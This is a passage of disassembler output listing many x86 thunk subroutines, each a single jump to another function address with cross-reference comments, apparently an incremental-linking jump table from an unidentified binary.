sub_13AB4A5	proc near		; CODE XREF: sub_13DB020+F5p
					; sub_13DB020+14Fp
		jmp	near ptr 13DD210h
sub_13AB4A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4AA	proc near
		jmp	sub_13DADB0
sub_13AB4AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4AF	proc near
		jmp	sub_13D41E0
sub_13AB4AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4B4	proc near
		jmp	sub_13C86D0
sub_13AB4B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4B9	proc near		; CODE XREF: sub_13C2740+D0p
					; sub_13C28A0+2Dp
		jmp	sub_13C2E30
sub_13AB4B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4BE	proc near		; CODE XREF: sub_13BA370+8D9p
					; sub_13BA370+990p ...
		jmp	sub_13BBC70
sub_13AB4BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4C3	proc near		; CODE XREF: sub_13D94D0+6Ap
					; sub_13D94D0+7Ap ...
		jmp	near ptr dword_13DB320
sub_13AB4C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4C8	proc near		; CODE XREF: sub_13CC160+9p
					; sub_13CC650+18p
		jmp	sub_13CC7D0
sub_13AB4C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4CD	proc near		; CODE XREF: sub_13B4DF0+58p
					; sub_13B4DF0+82p ...
		jmp	sub_13B4FE0
sub_13AB4CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4D2	proc near		; CODE XREF: sub_13CCE50+3F7p
					; sub_13CDD50+166p ...
		jmp	sub_13C3EF0
sub_13AB4D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4D7	proc near		; CODE XREF: sub_13C0420+7p
		jmp	sub_13C0A50
sub_13AB4D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4DC	proc near		; CODE XREF: sub_13BF930+4Fp
					; sub_13C0280+11p ...
		jmp	sub_13C04D0
sub_13AB4DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4E1	proc near		; CODE XREF: sub_13D4050+58p
		jmp	sub_13D3EC0
sub_13AB4E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4E6	proc near		; CODE XREF: sub_13CBC80+1Fp
		jmp	sub_13CC0C0
sub_13AB4E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4EB	proc near		; CODE XREF: sub_13CC3C0+11p
					; sub_13CC3C0+27p ...
		jmp	sub_13CC8E0
sub_13AB4EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4F0	proc near
		jmp	sub_13BE170
sub_13AB4F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4F5	proc near		; CODE XREF: sub_13CBE40+3p
					; sub_13CC160+4Fp ...
		jmp	sub_13CC320
sub_13AB4F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4FA	proc near
		jmp	sub_13BE810
sub_13AB4FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB4FF	proc near		; CODE XREF: sub_13D1340+3p
		jmp	sub_13D1370
sub_13AB4FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB504	proc near		; CODE XREF: sub_13BFE10+11p
					; sub_13BFE10+27p ...
		jmp	sub_13C0880
sub_13AB504	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB509	proc near
		jmp	near ptr 13DD730h
sub_13AB509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB50E	proc near		; CODE XREF: sub_13CBF70+5p
					; sub_13CC060+6p ...
		jmp	sub_13CC560
sub_13AB50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB513	proc near		; CODE XREF: sub_13C0DA0+CBp
		jmp	sub_13C1E70
sub_13AB513	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB518	proc near		; CODE XREF: sub_13AF070+6Ap
					; sub_13AF070+1AFp ...
		jmp	sub_13BCD80
sub_13AB518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB51D	proc near
		jmp	sub_13C36D0
sub_13AB51D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB522	proc near		; CODE XREF: sub_13D9EC0+F7p
		jmp	sub_13D98A0
sub_13AB522	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB527	proc near
		jmp	sub_13D87F0
sub_13AB527	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB52C	proc near
		jmp	sub_13D3E50
sub_13AB52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB531	proc near		; CODE XREF: .idata:013CE0B1p
		jmp	sub_13CDB70
sub_13AB531	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB536	proc near
		jmp	near ptr 13DC370h
sub_13AB536	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB53B	proc near		; CODE XREF: sub_13BF480+38p
		jmp	sub_13BFDA0
sub_13AB53B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB540	proc near		; CODE XREF: sub_13C5D60+F7p
					; sub_13C5D60+10Bp ...
		jmp	sub_13B42A0
sub_13AB540	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB545	proc near		; CODE XREF: sub_13B3D10+Ap
		jmp	sub_13B3E00
sub_13AB545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB54A	proc near		; CODE XREF: sub_13BD7E0+55p
					; sub_13BD7E0+94p ...
		jmp	sub_13BFB80
sub_13AB54A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB54F	proc near		; CODE XREF: sub_13CF440+183p
		jmp	sub_13CDA00
sub_13AB54F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB554	proc near		; CODE XREF: sub_13BEF00+CEp
		jmp	sub_13BF930
sub_13AB554	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB559	proc near		; CODE XREF: sub_13D1A20+3p
		jmp	sub_13D1A50
sub_13AB559	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB55E	proc near
		jmp	sub_13BBCF0
sub_13AB55E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB563	proc near		; CODE XREF: sub_13C01E0+11p
					; sub_13C01E0+27p ...
		jmp	sub_13C0A00
sub_13AB563	endp

; ---------------------------------------------------------------------------
		jmp	sub_13C7B40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB56D	proc near		; CODE XREF: sub_13C2F20+23p
					; sub_13C3190+11p
		jmp	sub_13C3270
sub_13AB56D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB572	proc near		; CODE XREF: sub_13C2EA0+3p
					; sub_13C32A0+54p ...
		jmp	sub_13C30F0
sub_13AB572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB577	proc near		; CODE XREF: sub_13B3A00+6Ap
					; sub_13B3A00+103p
		jmp	sub_13B3CA0
sub_13AB577	endp

; ---------------------------------------------------------------------------
		dd 316DFE9h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB581	proc near		; CODE XREF: sub_13BE170+1Dp
		jmp	sub_13BDF80
sub_13AB581	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB586	proc near		; CODE XREF: sub_13C4590+64p
		jmp	sub_13C53F0
sub_13AB586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB58B	proc near		; CODE XREF: sub_13BD7E0+88p
					; sub_13BEBE0+BFp ...
		jmp	sub_13BFD40
sub_13AB58B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB590	proc near		; CODE XREF: sub_13D98A0+7p
					; sub_13D9910+19p ...
		jmp	near ptr 13DDCD0h
sub_13AB590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB595	proc near		; CODE XREF: sub_13C28A0+119p
		jmp	sub_13B7F20
sub_13AB595	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB59A	proc near
		jmp	sub_13DAE70
sub_13AB59A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB59F	proc near		; CODE XREF: sub_13B15E0+11p
					; sub_13B1770+1Fp
		jmp	sub_13B1810
sub_13AB59F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5A4	proc near		; CODE XREF: sub_13ADAD0+3B5p
					; sub_13ADAD0+3C5p ...
		jmp	sub_13AE200
sub_13AB5A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5A9	proc near		; CODE XREF: sub_13CC020+3p
		jmp	sub_13CC5A0
sub_13AB5A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5AE	proc near		; CODE XREF: sub_13B6650+Ap
		jmp	sub_13B6710
sub_13AB5AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5B3	proc near		; CODE XREF: sub_13ADAD0+1Dp
					; sub_13B1430+1Fp ...
		jmp	sub_13AE070
sub_13AB5B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5B8	proc near		; CODE XREF: sub_13BD630+54p
		jmp	sub_13BF7C0
sub_13AB5B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5BD	proc near		; CODE XREF: sub_13D5770+3p
		jmp	sub_13D57A0
sub_13AB5BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_13B5300

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5C7	proc near		; CODE XREF: sub_13BEF00+DDp
		jmp	sub_13BF080
sub_13AB5C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5CC	proc near		; CODE XREF: sub_13B1A10+7p
					; sub_13B3E00+7p ...
		jmp	sub_13B1A40
sub_13AB5CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5D1	proc near		; CODE XREF: sub_13BD920+73p
					; sub_13BEF00+7Dp ...
		jmp	sub_13BFA10
sub_13AB5D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5D6	proc near		; CODE XREF: sub_13C8A70+58p
		jmp	sub_13CA940
sub_13AB5D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5DB	proc near		; CODE XREF: sub_13BE1B0+84p
		jmp	sub_13BDBF0
sub_13AB5DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5E0	proc near
		jmp	sub_13DA190
sub_13AB5E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5E5	proc near		; CODE XREF: sub_13B18C0+8p
		jmp	sub_13B19A0
sub_13AB5E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5EA	proc near		; CODE XREF: sub_13AF070+9Fp
					; sub_13AF070+230p ...
		jmp	sub_13B4830
sub_13AB5EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5EF	proc near		; CODE XREF: sub_13B4B90+21p
					; sub_13B4DF0+A5p
		jmp	sub_13B4DD0
sub_13AB5EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5F4	proc near
		jmp	sub_13B5370
sub_13AB5F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5F9	proc near		; CODE XREF: sub_13B4830+129p
					; sub_13B4C10+4p ...
		jmp	sub_13B4BE0
sub_13AB5F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB5FE	proc near
		jmp	sub_13D0A70
sub_13AB5FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB603	proc near
		jmp	sub_13D9E90
sub_13AB603	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB608	proc near		; CODE XREF: sub_13B16F0+3p
					; sub_13B1770+4Fp ...
		jmp	sub_13B1880
sub_13AB608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB60D	proc near		; CODE XREF: sub_13C7C40+346p
					; sub_13C7C40+410p ...
		jmp	sub_13CBC80
sub_13AB60D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB612	proc near		; CODE XREF: sub_13CBEC0+11p
					; sub_13CC3C0+1Fp
		jmp	sub_13CC4F0
sub_13AB612	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB617	proc near		; CODE XREF: sub_13D5910+3p
		jmp	sub_13D5940
sub_13AB617	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB61C	proc near		; CODE XREF: sub_13C28A0+D4p
		jmp	sub_13B1B90
sub_13AB61C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB621	proc near		; CODE XREF: sub_13B6520+5Fp
		jmp	sub_13B66F0
sub_13AB621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB626	proc near		; CODE XREF: sub_13AD8E0+F6p
					; sub_13AD8E0+12Ep ...
		jmp	sub_13B4030
sub_13AB626	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB62B	proc near		; CODE XREF: sub_13C8A70+113p
					; sub_13C8A70+124p
		jmp	sub_13CBE40
sub_13AB62B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB630	proc near
		jmp	sub_13C9C70
sub_13AB630	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB635	proc near		; CODE XREF: sub_13C0DA0+16Bp
		jmp	sub_13C1AC0
sub_13AB635	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB63A	proc near		; CODE XREF: sub_13B52C0+Fp
		jmp	sub_13DA370
sub_13AB63A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB63F	proc near		; CODE XREF: sub_13C2F20+32p
		jmp	sub_13C3190
sub_13AB63F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB644	proc near
		jmp	near ptr 13DD990h
sub_13AB644	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB649	proc near		; CODE XREF: sub_13BF830+5p
					; sub_13BFA30+6p ...
		jmp	sub_13C0440
sub_13AB649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB64E	proc near		; CODE XREF: sub_13B60B0+29p
					; sub_13B61D0+29p
		jmp	sub_13B6360
sub_13AB64E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB653	proc near		; CODE XREF: sub_13C8A70+3E9p
		jmp	sub_13CBF00
sub_13AB653	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB658	proc near		; CODE XREF: sub_13BE8E0+BFp
		jmp	sub_13BF620
sub_13AB658	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB65D	proc near		; CODE XREF: sub_13C08F0+Ap
		jmp	sub_13C0C30
sub_13AB65D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB662	proc near		; CODE XREF: sub_13C0DA0+1D7p
		jmp	sub_13C13C0
sub_13AB662	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB667	proc near		; CODE XREF: sub_13C28A0+291p
		jmp	sub_13C2740
sub_13AB667	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB66C	proc near
		jmp	sub_13C1040
sub_13AB66C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB671	proc near		; CODE XREF: sub_13C1140+EFp
		jmp	sub_13C23E0
sub_13AB671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB676	proc near
		jmp	sub_13BEAA0
sub_13AB676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB67B	proc near
		jmp	sub_13D9450
sub_13AB67B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB680	proc near		; CODE XREF: sub_13BA370+387p
					; sub_13C9340+21Dp ...
		jmp	sub_13C5AF0
sub_13AB680	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB685	proc near		; CODE XREF: sub_13C1140+12Ap
		jmp	sub_13C2590
sub_13AB685	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB68A	proc near		; CODE XREF: sub_13B3890+8p
		jmp	sub_13B38E0
sub_13AB68A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB68F	proc near
		jmp	sub_13D3E50
sub_13AB68F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB694	proc near		; CODE XREF: sub_13B3A00+A5p
					; sub_13BCFD0+21p
		jmp	sub_13B3C10
sub_13AB694	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB699	proc near		; CODE XREF: sub_13AF070+385p
					; sub_13C7C40+5AAp
		jmp	sub_13C6440
sub_13AB699	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB69E	proc near		; CODE XREF: sub_13C1140+3Fp
		jmp	sub_13ADAD0
sub_13AB69E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6A3	proc near		; CODE XREF: sub_13C2FD0+23p
					; sub_13C32A0+11p
		jmp	sub_13C33F0
sub_13AB6A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6A8	proc near		; CODE XREF: sub_13CEC60+Cp
					; sub_13CEC60+3Ep ...
		jmp	sub_13CE750
sub_13AB6A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6AD	proc near
		jmp	sub_13D9A90
sub_13AB6AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6B2	proc near		; CODE XREF: sub_13AE3C0+4C1p
					; sub_13AF070+860p ...
		jmp	sub_13B4690
sub_13AB6B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6B7	proc near		; CODE XREF: sub_13D8F30+6p
					; sub_13D8F80+6p ...
		jmp	near ptr dword_13DB8B0
sub_13AB6B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6BC	proc near		; CODE XREF: sub_13C8A70+367p
					; sub_13C8A70+3D4p ...
		jmp	sub_13CC090
sub_13AB6BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6C1	proc near
		jmp	sub_13D1100
sub_13AB6C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6C6	proc near		; CODE XREF: sub_13CEB40+18p
					; sub_13CEB80+Ap ...
		jmp	sub_13CEAF0
sub_13AB6C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6CB	proc near		; CODE XREF: sub_13C0530+9p
					; sub_13C05D0+18p
		jmp	sub_13C0BE0
sub_13AB6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6D0	proc near
		jmp	near ptr dword_13DBDB0+0F0h
sub_13AB6D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6D5	proc near
		jmp	sub_13D8F80
sub_13AB6D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6DA	proc near
		jmp	sub_13C3FC0
sub_13AB6DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6DF	proc near		; CODE XREF: sub_13D3EC0+67p
		jmp	sub_13CA300
sub_13AB6DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6E4	proc near		; CODE XREF: sub_13D92D0+48p
					; sub_13D94D0+2p ...
		jmp	sub_13DA690
sub_13AB6E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6E9	proc near		; CODE XREF: sub_13BDA80+3Fp
					; sub_13BE8E0+40p ...
		jmp	sub_13BF570
sub_13AB6E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6EE	proc near		; CODE XREF: sub_13AEA40+19Fp
					; sub_13AEA40+212p ...
		jmp	sub_13B42F0
sub_13AB6EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6F3	proc near		; CODE XREF: sub_13CF2B0+B5p
					; sub_13CF2B0+F1p
		jmp	sub_13CF240
sub_13AB6F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6F8	proc near		; CODE XREF: sub_13CF440+127p
		jmp	sub_13CF2B0
sub_13AB6F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB6FD	proc near		; CODE XREF: sub_13C1140+10Ap
		jmp	sub_13C2490
sub_13AB6FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB702	proc near		; CODE XREF: sub_13C1140+DFp
		jmp	sub_13C2320
sub_13AB702	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB707	proc near		; CODE XREF: sub_13DA7F0+1p
		jmp	sub_13DA880
sub_13AB707	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB70C	proc near		; CODE XREF: sub_13CFFF0+341p
		jmp	sub_13D0870
sub_13AB70C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB711	proc near		; CODE XREF: sub_13C2740+71p
					; sub_13C2740+BBp ...
		jmp	sub_13C2E00
sub_13AB711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB716	proc near		; CODE XREF: sub_13B44A0+7p
		jmp	sub_13B44C0
sub_13AB716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB71B	proc near
		jmp	near ptr dword_13DBCE0+40h
sub_13AB71B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB720	proc near
		jmp	near ptr dword_13DB8B8+28h
sub_13AB720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB725	proc near		; CODE XREF: sub_13CABF0+37Bp
		jmp	sub_13CBFE0
sub_13AB725	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB72A	proc near		; CODE XREF: sub_13BE770+5Bp
		jmp	sub_13BF440
sub_13AB72A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB72F	proc near		; CODE XREF: sub_13BF7C0+29p
					; sub_13BF8E0+29p
		jmp	sub_13C0340
sub_13AB72F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB734	proc near
		jmp	near ptr 13E0220h
sub_13AB734	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB739	proc near		; CODE XREF: sub_13BD7E0+5Fp
					; sub_13BD7E0+9Ep ...
		jmp	sub_13BFD70
sub_13AB739	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB73E	proc near		; CODE XREF: sub_13B5920+62p
					; sub_13B5CD0+118p ...
		jmp	sub_13B6260
sub_13AB73E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB743	proc near
		jmp	sub_13DA4E0
sub_13AB743	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB748	proc near
		jmp	sub_13D9060
sub_13AB748	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB74D	proc near
		jmp	sub_13D57C0
sub_13AB74D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB752	proc near
		jmp	sub_13D5700
sub_13AB752	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB757	proc near		; CODE XREF: sub_13C04A0+8p
		jmp	sub_13C0AC0
sub_13AB757	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB75C	proc near		; CODE XREF: sub_13BD7E0+71p
					; sub_13BD7E0:loc_13BD8ACp ...
		jmp	sub_13BFD20
sub_13AB75C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB761	proc near		; CODE XREF: sub_13C2740+AFp
					; sub_13C33F0+3p
		jmp	sub_13C2EC0
sub_13AB761	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB766	proc near
		jmp	sub_13D0E80
sub_13AB766	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB76B	proc near		; CODE XREF: sub_13B5920+39p
					; sub_13B5920+78p ...
		jmp	sub_13B6290
sub_13AB76B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB770	proc near		; CODE XREF: sub_13CFBC0+29p
					; sub_13CFBC0+38p
		jmp	sub_13CFAD0
sub_13AB770	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB775	proc near		; CODE XREF: sub_13C4910+1Cp
		jmp	sub_13C4950
sub_13AB775	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB77A	proc near
		jmp	sub_13D4050
sub_13AB77A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB77F	proc near		; CODE XREF: sub_13B1B90+144Fp
					; sub_13BE810+81p
		jmp	sub_13BE640
sub_13AB77F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB784	proc near		; CODE XREF: sub_13C28A0+72p
		jmp	sub_13B1030
sub_13AB784	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB789	proc near		; CODE XREF: sub_13B4120+7p
					; sub_13B4270+7p ...
		jmp	sub_13B4B00
sub_13AB789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB78E	proc near
		jmp	sub_13CCE50
sub_13AB78E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB793	proc near
		jmp	sub_13BDEF0
sub_13AB793	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB798	proc near
		jmp	sub_13D5770
sub_13AB798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB79D	proc near		; CODE XREF: sub_13C2D10+11p
					; sub_13CC0C0+1Fp
		jmp	sub_13C3060
sub_13AB79D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB7A2	proc near		; CODE XREF: sub_13D56F0+3j
		jmp	sub_13D4C30
sub_13AB7A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB7A7	proc near
		jmp	sub_13D5910
sub_13AB7A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB7AC	proc near
		jmp	sub_13D8FD0
sub_13AB7AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB7B1	proc near
		jmp	sub_13BEE70
sub_13AB7B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB7B6	proc near		; CODE XREF: sub_13B1690+1Fp
		jmp	sub_13B1770
sub_13AB7B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB7BB	proc near
		jmp	sub_13D8BD0
sub_13AB7BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB7C0	proc near		; CODE XREF: sub_13BA180+3p
					; sub_13C0DA0+15Bp
		jmp	sub_13BA1B0
sub_13AB7C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB7C5	proc near		; CODE XREF: sub_13CF690+Cp
					; sub_13CF800+Ap ...
		jmp	sub_13CF650
sub_13AB7C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB7CA	proc near
		jmp	sub_13B76F0
sub_13AB7CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB7CF	proc near		; CODE XREF: sub_13B4CC0+20p
		jmp	sub_13B4DF0
sub_13AB7CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB7D4	proc near		; CODE XREF: sub_13BA370+AFDp
					; sub_13BA370+E71p ...
		jmp	sub_13B52C0
sub_13AB7D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB7D9	proc near		; CODE XREF: sub_13AF070+8EFp
					; sub_13AF070+8F8p ...
		jmp	sub_13B4670
sub_13AB7D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13AB7DE	proc near		; CODE XREF: sub_13CC3C0+5Ap
		jmp	sub_13CC950
